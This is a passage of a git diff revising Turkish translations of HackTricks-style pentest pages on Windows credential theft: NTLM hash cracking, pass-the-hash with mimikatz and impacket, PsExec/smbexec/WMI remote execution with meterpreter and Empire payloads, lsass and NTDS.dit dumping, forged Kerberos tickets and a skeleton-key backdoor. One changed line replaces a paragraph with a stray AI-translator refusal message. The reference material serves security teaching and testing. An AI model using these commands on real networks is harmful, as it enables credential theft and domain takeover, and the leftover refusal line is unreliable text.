(dağıtılmış olanı hashtopolis gibi bir araçla y ```bash ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ``` -Bu durumda, bunun şifresinin "password" olduğunu biliyoruz, bu yüzden demo amaçları için hile yapacağız: +Bu durumda, bunun şifresinin "password" olduğunu biliyoruz, bu yüzden gösterim amaçları için hile yapacağız: ```bash python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b DESKEY1: b55d6d04e67926 @@ -143,7 +143,7 @@ b4b9b02e6f09a9 # this is part 1 ./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d bd760f388b6700 # this is part 2 ``` -I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the relevant English text. +Lütfen çevirmemi istediğiniz metni paylaşın. ```bash ./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788 @@ -157,11 +157,11 @@ NTHASH=b4b9b02e6f09a9bd760f388b6700586c **Meydan okuma uzunluğu 8 bayttır** ve **2 yanıt gönderilir**: Biri **24 bayt** uzunluğundadır ve **diğerinin** uzunluğu **değişkendir**. -**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **diziyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **MD4** hash'i kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Buna, **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B. +**İlk yanıt**, **HMAC_MD5** kullanarak **istemci ve alan** tarafından oluşturulan **diziyi** şifreleyerek oluşturulur ve **anahtar** olarak **NT hash**'in **MD4** hash'i kullanılır. Ardından, **sonuç**, **meydan okumayı** şifrelemek için **HMAC_MD5** kullanarak **anahtar** olarak kullanılacaktır. Bunun için **8 baytlık bir istemci meydan okuması eklenecektir**. Toplam: 24 B. **İkinci yanıt**, **birkaç değer** (yeni bir istemci meydan okuması, **tekrar saldırılarını** önlemek için bir **zaman damgası**...) kullanılarak oluşturulur. -Eğer başarılı bir kimlik doğrulama sürecini yakalamış bir **pcap**'iniz varsa, alan, kullanıcı adı, meydan okuma ve yanıt almak için bu kılavuzu takip edebilir ve şifreyi kırmayı deneyebilirsiniz: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) +Eğer **başarılı bir kimlik doğrulama sürecini yakalamış bir pcap dosyanız varsa**, alan, kullanıcı adı, meydan okuma ve yanıt almak için bu kılavuzu takip edebilir ve şifreyi kırmayı deneyebilirsiniz: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) ## Pass-the-Hash @@ -176,7 +176,7 @@ O **hash** ile **NTLM kimlik doğrulaması gerçekleştirecek** bir **araç** ku ```bash Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' ``` -Bu, mimikatz'ı başlatan kullanıcıların ait olduğu bir süreci başlatacaktır, ancak LSASS içinde kaydedilen kimlik bilgileri mimikatz parametrelerindeki kimlik bilgileridir. Ardından, o kullanıcıymış gibi ağ kaynaklarına erişebilirsiniz (şifreyi düz metin olarak bilmenize gerek olmayan `runas /netonly` numarasına benzer). +Bu, mimikatz'ı başlatan kullanıcıların ait olduğu bir süreci başlatacaktır, ancak LSASS içinde kaydedilen kimlik bilgileri mimikatz parametrelerindeki kimlik bilgileridir. Ardından, o kullanıcıymış gibi ağ kaynaklarına erişebilirsiniz (bu, `runas /netonly` numarasına benzer, ancak düz metin şifresini bilmenize gerek yoktur). ### Linux'tan Pass-the-Hash @@ -185,7 +185,7 @@ Linux'tan Pass-the-Hash kullanarak Windows makinelerinde kod yürütme elde edeb ### Impacket Windows derlenmiş araçları -[Windows için impacket ikili dosyalarını buradan indirebilirsiniz.](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries) +[Windows için impacket ikili dosyalarını buradan indirebilirsiniz](https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries). - **psexec_windows.exe** `C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local` - **wmiexec.exe** `wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local` @@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -Bu fonksiyon **diğerlerinin hepsinin karışımıdır**. **Birden fazla host** geçirebilir, bazılarını **hariç tutabilir** ve kullanmak istediğiniz **seçeneği** **seçebilirsiniz** (_SMBExec, WMIExec, SMBClient, SMBEnum_). **SMBExec** ve **WMIExec**'den **herhangi birini** seçerseniz ancak _**Command**_ parametresi vermezseniz, sadece **yeterli izinlere** sahip olup olmadığınızı **kontrol eder**. +Bu fonksiyon **diğerlerinin hepsinin karışımıdır**. **Birden fazla host** geçirebilir, bazılarını **hariç tutabilir** ve kullanmak istediğiniz **seçeneği** (_SMBExec, WMIExec, SMBClient, SMBEnum_) **seçebilirsiniz**. **SMBExec** ve **WMIExec**'den **herhangi birini** seçerseniz ancak _**Command**_ parametresi vermezseniz, sadece **yeterli izinlere** sahip olup olmadığınızı **kontrol eder**. ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` @@ -236,7 +236,7 @@ wce.exe -s ::: ## Bir Windows Anahtarından Kimlik Bilgilerini Çıkarma -**Bir Windows anahtarından kimlik bilgilerini nasıl elde edeceğiniz hakkında daha fazla bilgi için bu sayfayı okumalısınız.** +**Daha fazla bilgi için** [**Windows anahtarından kimlik bilgilerini nasıl elde edeceğinizi bu sayfadan okuyabilirsiniz**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/ntlm/broken-reference/README.md)**.** ## NTLM İletimi ve Yanıtlayıcı diff --git a/src/windows-hardening/ntlm/atexec.md b/src/windows-hardening/ntlm/atexec.md index 99a981709..72c1605b5 100644 --- a/src/windows-hardening/ntlm/atexec.md +++ b/src/windows-hardening/ntlm/atexec.md @@ -22,6 +22,6 @@ Ayrıca [SharpLateral](https://github.com/mertdas/SharpLateral) kullanabilirsini ```bash SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName ``` -Daha fazla bilgi için [**schtasks'in silver ticket'larla kullanımı burada**](../active-directory-methodology/silver-ticket.md#host). +Daha fazla bilgi için [**schtasks kullanımına ilişkin gümüş biletler burada**](../active-directory-methodology/silver-ticket.md#host). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/psexec-and-winexec.md b/src/windows-hardening/ntlm/psexec-and-winexec.md index 555c9ccf2..70ddd36b5 100644 --- a/src/windows-hardening/ntlm/psexec-and-winexec.md +++ b/src/windows-hardening/ntlm/psexec-and-winexec.md @@ -4,7 +4,7 @@ ## Nasıl çalışırlar -Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının, SMB üzerinden hedef makinede uzaktan yürütme sağlamak için nasıl manipüle edildiğini göstermektedir: +Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının nasıl manipüle edildiğini gösterir, böylece SMB üzerinden hedef makinede uzaktan yürütme sağlanır: 1. **Bir hizmet ikili dosyasının ADMIN$ paylaşımına SMB üzerinden kopyalanması** gerçekleştirilir. 2. **Uzaktaki makinede bir hizmetin oluşturulması**, ikili dosyaya işaret edilerek yapılır. @@ -13,13 +13,13 @@ Süreç, aşağıdaki adımlarda özetlenmiştir ve hizmet ikili dosyalarının, ### **PsExec'i Manuel Olarak Çalıştırma Süreci** -Antivirüs tespitinden kaçınmak için msfvenom ile oluşturulmuş ve Veil kullanılarak obfuscate edilmiş bir yürütülebilir yük (met8888.exe olarak adlandırılmış), bir meterpreter reverse_http yükünü temsil eder, aşağıdaki adımlar izlenir: +Antivirüs tespitinden kaçınmak için msfvenom ile oluşturulmuş ve Veil kullanılarak obfuscate edilmiş bir yürütülebilir yük olduğunu varsayalım, 'met8888.exe' adında, bir meterpreter reverse_http yükünü temsil eder, aşağıdaki adımlar izlenir: - **İkili dosyanın kopyalanması**: Yürütülebilir dosya, bir komut istemcisinden ADMIN$ paylaşımına kopyalanır, ancak dosya sisteminde gizli kalmak için herhangi bir yere yerleştirilebilir. -- **Bir hizmet oluşturma**: Windows `sc` komutunu kullanarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlayan bir hizmet "meterpreter" adıyla yüklenen ikili dosyaya işaret edecek şekilde oluşturulur. +- **Bir hizmetin oluşturulması**: Windows `sc` komutunu kullanarak, uzaktan Windows hizmetlerini sorgulama, oluşturma ve silme imkanı sağlayan, yüklenen ikili dosyaya işaret eden "meterpreter" adında bir hizmet oluşturulur. -- **Hizmeti başlatma**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikili dosyası olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikili dosyanın yürütülmesidir. +- **Hizmetin başlatılması**: Son adım, hizmetin başlatılmasıdır; bu, ikili dosyanın gerçek bir hizmet ikili dosyası olmaması ve beklenen yanıt kodunu döndürmemesi nedeniyle muhtemelen bir "zaman aşımı" hatası ile sonuçlanacaktır. Bu hata önemsizdir çünkü asıl hedef ikili dosyanın yürütülmesidir. Metasploit dinleyicisinin gözlemlenmesi, oturumun başarıyla başlatıldığını gösterecektir. diff --git a/src/windows-hardening/ntlm/smbexec.md b/src/windows-hardening/ntlm/smbexec.md index 7ed11e9a4..5e4f1066e 100644 --- a/src/windows-hardening/ntlm/smbexec.md +++ b/src/windows-hardening/ntlm/smbexec.md @@ -8,9 +8,9 @@ ### **SMBExec** Hakkında Ana Noktalar -- Hedef makinede komutları cmd.exe (%COMSPEC%) aracılığıyla yürütmek için geçici bir hizmet (örneğin, "BTOBTO") oluşturarak çalışır, herhangi bir ikili dosya bırakmaz. -- Gizli yaklaşımına rağmen, yürütülen her komut için olay günlükleri oluşturur ve etkileşimsiz bir "shell" biçimi sunar. -- **Smbexec** kullanarak bağlanmak için komut şu şekildedir: +- Hedef makinede cmd.exe (%COMSPEC%) aracılığıyla komutları yürütmek için geçici bir hizmet (örneğin, "BTOBTO") oluşturarak çalışır, herhangi bir ikili dosya bırakmaz. +- Gizli yaklaşımına rağmen, yürütülen her komut için olay günlükleri oluşturur ve bu, etkileşimsiz bir "shell" biçimi sunar. +- **Smbexec** kullanarak bağlanma komutu şu şekildedir: ```bash smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 ``` @@ -18,9 +18,9 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 - **Smbexec**, hedefte fiziksel binary'lere ihtiyaç duymadan, hizmet binPath'leri aracılığıyla doğrudan komut yürütmeyi sağlar. - Bu yöntem, bir Windows hedefinde tek seferlik komutlar yürütmek için faydalıdır. Örneğin, Metasploit'in `web_delivery` modülü ile birleştirildiğinde, PowerShell hedefli ters Meterpreter yükünün yürütülmesini sağlar. -- Saldırganın makinesinde binPath'i cmd.exe aracılığıyla sağlanan komutu çalıştıracak şekilde ayarlayarak uzaktan bir hizmet oluşturmak, yükün başarılı bir şekilde yürütülmesini sağlamakta ve Metasploit dinleyicisi ile geri çağırma ve yük yürütme elde etmektedir; hizmet yanıt hataları olsa bile. +- Saldırganın makinesinde binPath'i cmd.exe aracılığıyla sağlanan komutu çalıştıracak şekilde ayarlayarak uzaktan bir hizmet oluşturmak, yükün başarılı bir şekilde yürütülmesini sağlar; bu, hizmet yanıt hataları olsa bile Metasploit dinleyicisi ile geri çağırma ve yük yürütme elde edilir. -### Komutlar Örneği +### Komut Örneği Hizmeti oluşturmak ve başlatmak aşağıdaki komutlarla gerçekleştirilebilir: ```bash diff --git a/src/windows-hardening/ntlm/wmiexec.md b/src/windows-hardening/ntlm/wmiexec.md index f5f721e13..fe12695ad 100644 --- a/src/windows-hardening/ntlm/wmiexec.md +++ b/src/windows-hardening/ntlm/wmiexec.md @@ -4,7 +4,7 @@ ## Nasıl Çalıştığı Açıklandı -Kullanıcı adı ve ya şifre ya da hash bilindiğinde, WMI kullanılarak hostlarda süreçler açılabilir. Komutlar, Wmiexec tarafından WMI kullanılarak yürütülür ve yarı etkileşimli bir shell deneyimi sağlar. +Kullanıcı adı ve ya şifre ya da hash bilindiğinde, WMI kullanılarak hostlarda süreçler açılabilir. Komutlar Wmiexec tarafından WMI kullanılarak yürütülür ve yarı etkileşimli bir shell deneyimi sağlar. **dcomexec.py:** Farklı DCOM uç noktalarını kullanarak, bu script wmiexec.py'ye benzer yarı etkileşimli bir shell sunar ve özellikle ShellBrowserWindow DCOM nesnesini kullanır. Şu anda MMC20'yi desteklemektedir. Uygulama, Shell Windows ve Shell Browser Window nesneleri. (kaynak: [Hacking Articles](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)) @@ -45,7 +45,7 @@ Get-WmiObject -Namespace "root/microsoft/windows/defender" -Class MSFT_MpCompute ``` ### Yöntemler -WMI sınıflarının bir veya daha fazla yürütülebilir işlevi olan yöntemler çalıştırılabilir. +WMI sınıflarının bir veya daha fazla yürütülebilir işlevi olan yöntemler, çalıştırılabilir. ```bash # Class loading, method listing, and execution $c = [wmiclass]"win32_share" @@ -57,7 +57,7 @@ $c.methods # Method listing and invocation Invoke-WmiMethod -Class win32_share -Name Create -ArgumentList @($null, "Description", $null, "Name", $null, "c:\share\path",0) ``` -## WMI Sayımı +## WMI Sınıflandırması ### WMI Servis Durumu @@ -95,7 +95,7 @@ WMI üzerinden bir işlemi uzaktan yürütmek için, örneğin bir Empire ajanı ```bash wmic /node:hostname /user:user path win32_process call create "empire launcher string here" ``` -Bu süreç, WMI'nin uzaktan yürütme ve sistem sayımı yeteneğini göstermekte, hem sistem yönetimi hem de penetrasyon testi için faydasını vurgulamaktadır. +Bu süreç, WMI'nin uzaktan yürütme ve sistem sayımı yeteneğini göstermekte olup, hem sistem yönetimi hem de penetrasyon testi için faydasını vurgulamaktadır. ## Referanslar diff --git a/src/windows-hardening/stealing-credentials/README.md b/src/windows-hardening/stealing-credentials/README.md index a7b18d83b..b8182caaa 100644 --- a/src/windows-hardening/stealing-credentials/README.md +++ b/src/windows-hardening/stealing-credentials/README.md @@ -72,7 +72,7 @@ Bu işlem otomatik olarak [SprayKatz](https://github.com/aas-n/spraykatz) ile ya ### **comsvcs.dll** ile lsass'ı dökme `C:\Windows\System32` içinde bulunan **comsvcs.dll** adlı bir DLL, bir çökme durumunda **işlem belleğini dökmekten** sorumludur. Bu DLL, `rundll32.exe` kullanılarak çağrılmak üzere tasarlanmış **`MiniDumpW`** adlı bir **fonksiyon** içerir.\ -İlk iki argümanı kullanmak önemsizdir, ancak üçüncü argüman üç bileşene ayrılır. Dökümü alınacak işlem kimliği ilk bileşeni oluşturur, döküm dosyası konumu ikinciyi temsil eder ve üçüncü bileşen kesinlikle **full** kelimesidir. Alternatif seçenek yoktur.\ +İlk iki argümanı kullanmak önemsizdir, ancak üçüncü argüman üç bileşene ayrılır. Dökülecek işlem kimliği ilk bileşeni oluşturur, döküm dosyası konumu ikinciyi temsil eder ve üçüncü bileşen kesinlikle **full** kelimesidir. Alternatif seçenek yoktur.\ Bu üç bileşen ayrıştırıldığında, DLL döküm dosyasını oluşturmakta ve belirtilen işlemin belleğini bu dosyaya aktarmaktadır.\ **comsvcs.dll** kullanımı, lsass işlemini dökmek için mümkündür, böylece procdump'ı yükleyip çalıştırma ihtiyacı ortadan kalkar. Bu yöntem [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords) adresinde ayrıntılı olarak açıklanmıştır. @@ -98,7 +98,7 @@ Get-Process -Name LSASS ``` ## Dumpin lsass with PPLBlade -[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) korumalı bir süreç döküm aracı olup, bellek dökümünü obfuscate etme ve bunu uzaktaki iş istasyonlarına disk üzerine bırakmadan aktarma desteği sunar. +[**PPLBlade**](https://github.com/tastypepperoni/PPLBlade) Korunan Süreç Döküm Aracı, bellek dökümünü obfuscate etme ve bunu uzaktaki iş istasyonlarına disk üzerine bırakmadan aktarma desteği sunar. **Ana işlevler**: @@ -150,7 +150,7 @@ impacket-secretsdump -sam sam -security security -system system LOCAL ``` ### Hacim Gölgesi Kopyası -Bu hizmeti kullanarak korunan dosyaların kopyasını alabilirsiniz. Yönetici olmanız gerekiyor. +Bu hizmeti kullanarak korunan dosyaların kopyasını alabilirsiniz. Yönetici olmanız gerekir. #### vssadmin Kullanarak @@ -184,27 +184,27 @@ Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c ``` ## **Active Directory Kimlik Bilgileri - NTDS.dit** -**NTDS.dit** dosyası, **Active Directory**'nin kalbi olarak bilinir ve kullanıcı nesneleri, gruplar ve bunların üyelikleri hakkında kritik verileri tutar. Bu dosya, alan kullanıcıları için **şifre karma**'larının saklandığı yerdir. Bu dosya, **Genişletilebilir Depolama Motoru (ESE)** veritabanıdır ve **_%SystemRoom%/NTDS/ntds.dit_** konumunda bulunur. +**NTDS.dit** dosyası, **Active Directory**'nin kalbi olarak bilinir ve kullanıcı nesneleri, gruplar ve bunların üyelikleri hakkında kritik verileri tutar. Bu dosya, etki alanı kullanıcıları için **şifre hash'lerini** depolar. Bu dosya, **Genişletilebilir Depolama Motoru (ESE)** veritabanıdır ve **_%SystemRoom%/NTDS/ntds.dit_** konumunda bulunur. Bu veritabanında üç ana tablo bulunmaktadır: -- **Veri Tablosu**: Bu tablo, kullanıcılar ve gruplar gibi nesneler hakkında ayrıntıları saklamakla görevlidir. +- **Veri Tablosu**: Bu tablo, kullanıcılar ve gruplar gibi nesneler hakkında ayrıntıları depolamakla görevlidir. - **Bağlantı Tablosu**: Grup üyelikleri gibi ilişkileri takip eder. -- **SD Tablosu**: Her nesne için **Güvenlik tanımlayıcıları** burada tutulur ve saklanan nesnelerin güvenliği ve erişim kontrolünü sağlar. +- **SD Tablosu**: Her nesne için **Güvenlik tanımlayıcıları** burada tutulur ve depolanan nesnelerin güvenliği ve erişim kontrolünü sağlar. Bunun hakkında daha fazla bilgi: [http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/](http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/) Windows, bu dosyayla etkileşimde bulunmak için _Ntdsa.dll_ kullanır ve _lsass.exe_ tarafından kullanılır. Ardından, **NTDS.dit** dosyasının bir kısmı **`lsass`** belleği içinde bulunabilir (performans iyileştirmesi nedeniyle muhtemelen en son erişilen verileri bulabilirsiniz, çünkü bir **önbellek** kullanılır). -#### NTDS.dit içindeki karmaşaları çözme +#### NTDS.dit içindeki hash'leri çözme -Karma 3 kez şifrelenmiştir: +Hash, 3 kez şifrelenmiştir: 1. **BOOTKEY** ve **RC4** kullanarak Şifre Çözme Anahtarını (**PEK**) çözün. -2. **PEK** ve **RC4** kullanarak **karmayı** çözün. -3. **DES** kullanarak **karmayı** çözün. +2. **PEK** ve **RC4** kullanarak **hash**'i çözün. +3. **DES** kullanarak **hash**'i çözün. -**PEK**, **her alan denetleyicisinde** **aynı değere** sahiptir, ancak **alan denetleyicisinin SYSTEM dosyasının BOOTKEY**'i kullanılarak **NTDS.dit** dosyası içinde **şifrelenmiştir** (alan denetleyicileri arasında farklıdır). Bu nedenle, NTDS.dit dosyasından kimlik bilgilerini almak için **NTDS.dit ve SYSTEM dosyalarına** ihtiyacınız vardır (_C:\Windows\System32\config\SYSTEM_). +**PEK**, **her etki alanı denetleyicisinde** **aynı değere** sahiptir, ancak **etki alanı denetleyicisinin SYSTEM dosyasının BOOTKEY**'i kullanılarak **NTDS.dit** dosyası içinde **şifrelenmiştir** (etki alanı denetleyicileri arasında farklıdır). Bu nedenle, NTDS.dit dosyasından kimlik bilgilerini almak için **NTDS.dit ve SYSTEM dosyalarına** ihtiyacınız vardır (_C:\Windows\System32\config\SYSTEM_). ### Ntdsutil kullanarak NTDS.dit kopyalama @@ -212,7 +212,7 @@ Windows Server 2008'den beri mevcuttur. ```bash ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ``` -Ayrıca **ntds.dit** dosyasını kopyalamak için [**volume shadow copy**](./#stealing-sam-and-system) hilesini de kullanabilirsiniz. **SYSTEM dosyası**nın bir kopyasına da ihtiyacınız olacağını unutmayın (yine, [**bunu kayıt defterinden dökün veya volume shadow copy**](./#stealing-sam-and-system) hilesini kullanın). +Ayrıca **ntds.dit** dosyasını kopyalamak için [**volume shadow copy**](./#stealing-sam-and-system) hilesini de kullanabilirsiniz. **SYSTEM file** dosyasının bir kopyasına da ihtiyacınız olacağını unutmayın (yine, [**dump it from the registry or use the volume shadow copy**](./#stealing-sam-and-system) hilesini kullanın). ### **NTDS.dit'ten hash'leri çıkarmak** @@ -246,7 +246,7 @@ lazagne.exe all ### Windows credentials Editor (WCE) -Bu araç, bellekten kimlik bilgilerini çıkarmak için kullanılabilir. Bunu buradan indirin: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/) +Bu araç, bellekten kimlik bilgilerini çıkarmak için kullanılabilir. Şuradan indirebilirsiniz: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/) ### fgdump @@ -265,10 +265,10 @@ type outpwdump ``` ### PwDump7 -Buradan indirin: [ http://www.tarasco.org/security/pwdump_7](http://www.tarasco.org/security/pwdump_7) ve sadece **çalıştırın** ve şifreler çıkarılacaktır. +Şuradan indirin: [ http://www.tarasco.org/security/pwdump_7](http://www.tarasco.org/security/pwdump_7) ve sadece **çalıştırın**, şifreler çıkarılacaktır. ## Defenses -[**Bazı kimlik bilgisi korumaları hakkında burada bilgi edinin.**](credentials-protections.md) +[**Burada bazı kimlik bilgisi korumaları hakkında bilgi edinin.**](credentials-protections.md) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md index 8bb2dc6a2..0f3f319f4 100644 --- a/src/windows-hardening/stealing-credentials/credentials-mimikatz.md +++ b/src/windows-hardening/stealing-credentials/credentials-mimikatz.md @@ -8,7 +8,7 @@ Windows 8.1 ve Windows Server 2012 R2'den itibaren, kimlik bilgisi hırsızlığına karşı önemli önlemler alınmıştır: -- **LM hash'leri ve düz metin şifreler** artık güvenliği artırmak için bellekte saklanmamaktadır. "clear-text" şifrelerin LSASS'te önbelleğe alınmamasını sağlamak için _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ adlı belirli bir kayıt defteri ayarının DWORD değeri `0` olarak yapılandırılması gerekmektedir. +- **LM hash'leri ve düz metin şifreler** artık güvenliği artırmak için bellekte saklanmamaktadır. "clear-text" şifrelerin LSASS'te önbelleğe alınmadığından emin olmak için _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ adlı belirli bir kayıt defteri ayarının `0` DWORD değeri ile yapılandırılması gerekmektedir. - **LSA Koruması**, Yerel Güvenlik Otoritesi (LSA) sürecini yetkisiz bellek okuma ve kod enjeksiyonuna karşı korumak için tanıtılmıştır. Bu, LSASS'in korunan bir süreç olarak işaretlenmesiyle sağlanır. LSA Korumasının etkinleştirilmesi şunları içerir: 1. _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ kayıt defterini değiştirerek `RunAsPPL` değerini `dword:00000001` olarak ayarlamak. @@ -73,7 +73,7 @@ Silver Ticket'lar belirli hizmetlere erişim sağlar. Ana komut ve parametreler: - Komut: Golden Ticket'a benzer ancak belirli hizmetleri hedef alır. - Parametreler: - `/service`: Hedef alınacak hizmet (örn., cifs, http). -- Diğer parametreler Golden Ticket'a benzer. +- Diğer parametreler Golden Ticket ile benzerdir. Örnek: ```bash @@ -81,7 +81,7 @@ mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-12345678 ``` ### Güven Bileti Oluşturma -Güven Biletleri, güven ilişkilerini kullanarak alanlar arasında kaynaklara erişim için kullanılır. Ana komut ve parametreler: +Güven Biletleri, güven ilişkilerini kullanarak alanlar arasında kaynaklara erişim sağlamak için kullanılır. Ana komut ve parametreler: - Komut: Golden Ticket'e benzer ancak güven ilişkileri için. - Parametreler: @@ -92,7 +92,7 @@ Güven Biletleri, güven ilişkilerini kullanarak alanlar arasında kaynaklara e ```bash mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit ``` -### Ek Kerberos Komutları +### Ekstra Kerberos Komutları - **Biletleri Listeleme**: @@ -152,7 +152,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123 ### Çeşitli -- **MISC::Skeleton**: DC üzerindeki LSASS'a bir arka kapı enjekte eder. +- **MISC::Skeleton**: Bir DC'de LSASS'a arka kapı enjekte eder. - `mimikatz "privilege::debug" "misc::skeleton" exit` ### Yetki Yükseltme diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index bc3964560..47e40f236 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -6,11 +6,11 @@ ## WDigest -[WDigest]() protokolü, Windows XP ile tanıtılmıştır ve HTTP Protokolü aracılığıyla kimlik doğrulama için tasarlanmıştır ve **Windows XP'den Windows 8.0'a ve Windows Server 2003'ten Windows Server 2012'ye kadar varsayılan olarak etkindir**. Bu varsayılan ayar, **LSASS'ta düz metin şifre depolamasına** yol açar. Bir saldırgan, Mimikatz kullanarak **bu kimlik bilgilerini çıkarmak için** aşağıdaki komutu çalıştırabilir: +[WDigest]() protokolü, Windows XP ile tanıtılmıştır ve HTTP Protokolü üzerinden kimlik doğrulama için tasarlanmıştır ve **Windows XP'den Windows 8.0'a ve Windows Server 2003'ten Windows Server 2012'ye kadar varsayılan olarak etkindir**. Bu varsayılan ayar, **LSASS'ta (Yerel Güvenlik Otoritesi Alt Sistem Servisi) düz metin şifre depolamasına** yol açar. Bir saldırgan, Mimikatz kullanarak **bu kimlik bilgilerini çıkarmak için** aşağıdaki komutu çalıştırabilir: ```bash sekurlsa::wdigest ``` -Bu özelliği **açmak veya kapatmak için**, _**UseLogonCredential**_ ve _**Negotiate**_ kayıt anahtarları _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ içinde "1" olarak ayarlanmalıdır. Eğer bu anahtarlar **yoksa veya "0" olarak ayarlanmışsa**, WDigest **devre dışı**dır: +Bu özelliği **açmak veya kapatmak için**, _**UseLogonCredential**_ ve _**Negotiate**_ kayıt defteri anahtarları _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ içinde "1" olarak ayarlanmalıdır. Eğer bu anahtarlar **yoksa veya "0" olarak ayarlanmışsa**, WDigest **devre dışı**dır: ```bash reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` @@ -32,11 +32,11 @@ Bu korumayı Mimikatz sürücüsü mimidrv.sys kullanarak atlamak mümkündür: Varsayılan olarak, **Credential Guard** aktif değildir ve bir organizasyon içinde manuel olarak etkinleştirilmesi gerekir. **Mimikatz** gibi araçlara karşı güvenliği artırmak için kritik öneme sahiptir; bu araçlar, kimlik bilgilerini çıkarmada kısıtlanır. Ancak, özel **Security Support Providers (SSP)** eklenerek, giriş denemeleri sırasında kimlik bilgilerini düz metin olarak yakalamak için hala açıklar istismar edilebilir. -**Credential Guard**'ın etkinlik durumunu doğrulamak için, _**HKLM\System\CurrentControlSet\Control\LSA**_ altındaki kayıt defteri anahtarı _**LsaCfgFlags**_ incelenebilir. "**1**" değeri, **UEFI kilidi** ile etkinleştirildiğini, "**2**" kilitsiz olduğunu ve "**0**" ise etkinleştirilmediğini gösterir. Bu kayıt defteri kontrolü, güçlü bir gösterge olmasına rağmen, Credential Guard'ı etkinleştirmek için tek adım değildir. Bu özelliği etkinleştirmek için ayrıntılı kılavuz ve bir PowerShell betiği çevrimiçi olarak mevcuttur. +**Credential Guard**'ın etkinlik durumunu doğrulamak için, _**HKLM\System\CurrentControlSet\Control\LSA**_ altındaki kayıt defteri anahtarı _**LsaCfgFlags**_ incelenebilir. "**1**" değeri **UEFI kilidi** ile etkinleştirildiğini, "**2**" kilitsiz olduğunu ve "**0**" ise etkinleştirilmediğini gösterir. Bu kayıt defteri kontrolü, güçlü bir gösterge olmasına rağmen, Credential Guard'ı etkinleştirmek için tek adım değildir. Bu özelliği etkinleştirmek için ayrıntılı kılavuz ve bir PowerShell betiği çevrimiçi olarak mevcuttur. ```powershell reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` -Kapsamlı bir anlayış ve **Credential Guard**'ı Windows 10'da etkinleştirme ile **Windows 11 Enterprise ve Education (sürüm 22H2)** uyumlu sistemlerde otomatik 